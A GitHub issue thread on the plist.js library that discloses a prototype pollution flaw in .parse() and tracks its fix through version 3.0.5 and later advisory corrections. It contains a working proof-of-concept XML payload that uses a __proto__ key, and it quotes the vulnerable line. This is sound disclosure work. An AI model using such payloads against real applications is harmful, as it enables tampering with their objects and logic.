TooTallNate / **plist.js** Public

Code · Issues 22 · Pull requests 5 · Actions · Projects · Wiki · ...

New issue

Jump to bottom

Prototype Pollution using .parse() #114

Closed **keerok** opened this issue on Jan 6 · 7 comments

keerok commented on Jan 6

Hi, There's a prototype pollution in .parse() related to the xml that are being parsed in it. In the following example the prototype pollution will affect the `length` parameter.

```
var plist = require('plist');

var xml = `
<plist version="1.0">
    <key>metadata</key>
    <dict>
      <key>bundle-identifier</key>
      <string>com.company.app</string>
    </dict>
  </plist>`;

console.log(plist.parse(xml));
/**
 * * * * * * * * * * * * * * * * * * * * * * * * * *
 * * * * END OF THE NORMAL CODE EXAMPLE! * * * * * *
 * * * * * * * * * * * * * * * * * * * * * * * * * *
 **/


/**
 * * * * * * * * * * * *
 * PROTOTYPE POLLUTION *
 * * * * * * * * * * * *
 **/
var xmlPollution = `
<plist version="1.0">
  <dict>
    <key>__proto__</key>
    <dict>
      <key>length</key>
      <string>polluted</string>
    </dict>
  </dict>
```

```
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted
```

- More information about the vulnerability: https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

This was referenced on Mar 1

#114 Add function getXMLStringLength #116

Closed

fixed Prototype Pollution using .parse() #114 #117

Closed

mario-canva commented on Mar 14

Contributor

The Github advisory states this vulnerability has been fixed on `3.0.4` but I can still reproduce in `3.0.4` as well.

The version `3.0.4` has been released back in August 2021 and the vulnerability was reported on January 2022. The `3.0.4` version only inlines an external dependency so does little in terms of security.

The vulnerable code seems to be on the `parsePlistXml` function

plist.js/lib/parse.js
Line 127 in `fa8e184`

```
127      new_obj[key] = parsePlistXML(node.childNodes[i]);
```

@TooTallNate will try to submit a PR to fix this vulnerability in the next few days, unless you want to fix yourself.

mario-canva mentioned this issue on Mar 14

GHSA-4cpg-3vgw-4877 need to be updated, it doesn't have a fix yet. github/advisory-database#107

Closed

mario-canva mentioned this issue on Mar 21

Fix prototype pollution #114 #118

Merged

mreinstein added a commit that referenced this issue on Mar 21

`Merge pull request #118 from mario-canva/master` … 96e2303

mario-canva commented on Mar 21 Contributor

Thanks for merging my PR **@mreinstein** . Would you please release a new version of `plist` with this fix? So people can patch against this prototype pollution vulnerability.

👀 1

mreinstein commented on Mar 23 Collaborator

published as 3.0.5 on npm. Thanks for the PR!

🎉 2 🚀 3 👀 1

mreinstein closed this as completed on Mar 23

---

abist mentioned this issue on Mar 24

update package microsoft/vscode-mssql#17302

Merged

jmrossy mentioned this issue on Mar 25

Update plist due to CVE-2022-22912 celo-tools/celo-web-wallet#95

Merged

rzhao271 mentioned this issue on Mar 25

Bump plist microsoft/vscode#146072

Merged

sync-by-unito bot mentioned this issue on Mar 29

Bump plist from 3.0.4 to 3.0.5 jesus-collective/mobile#1183

Closed

Sujay-shetty mentioned this issue on Mar 30

Prototype Pollution using .parse() wollardj/simple-plist#60

Closed

sync-by-unito bot mentioned this issue on Mar 31

build(deps): bump plist from 3.0.4 to 3.0.5 numbersprotocol/capture-lite#1464

Closed

maschad mentioned this issue on Apr 28

Security Vulnerability wollardj/simple-plist#63

Closed

sync-by-unito bot mentioned this issue on May 10

Bump plist from 3.0.4 to 3.0.5 themeetinghouse/mobile#325

Closed

Sujay-shetty mentioned this issue on May 23

Prototype pollution in plist BranchMetrics/cordova-ionic-phonegap-branch-deep-linking-attribution#705

Closed

Donhv commented on Jun 29

this issue still happen on version 3.0.5 with nexus scan.

thorsent commented on Jul 12

@Donhv the problem appears to be that NIST has the vulnerability listed as addressed in 3.0.4: https://nvd.nist.gov/vuln/detail/CVE-2022-22912

...but it was actually addressed in 3.0.5. Nexus has listed an "advisory deviation notice" because they tested 3.0.4 and found the vulnerability still extant. I've informed Nexus and hopefully they will update the status of 3.0.5. (Kudos that they go through the effort of verifying!)

❤️ 1

thorsent commented on Jul 12

Updated info. Looks like dist directory is missing the patch:
#128

mreinstein added a commit that referenced this issue on Jul 12

`update deps and build dist/ files` #114 ✓ 69275c8

sync-by-unito bot mentioned this issue on Jul 14

build(deps): bump plist from 3.0.4 to 3.0.6 numbersprotocol/capture-lite#1819

Merged

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

6 participants

and others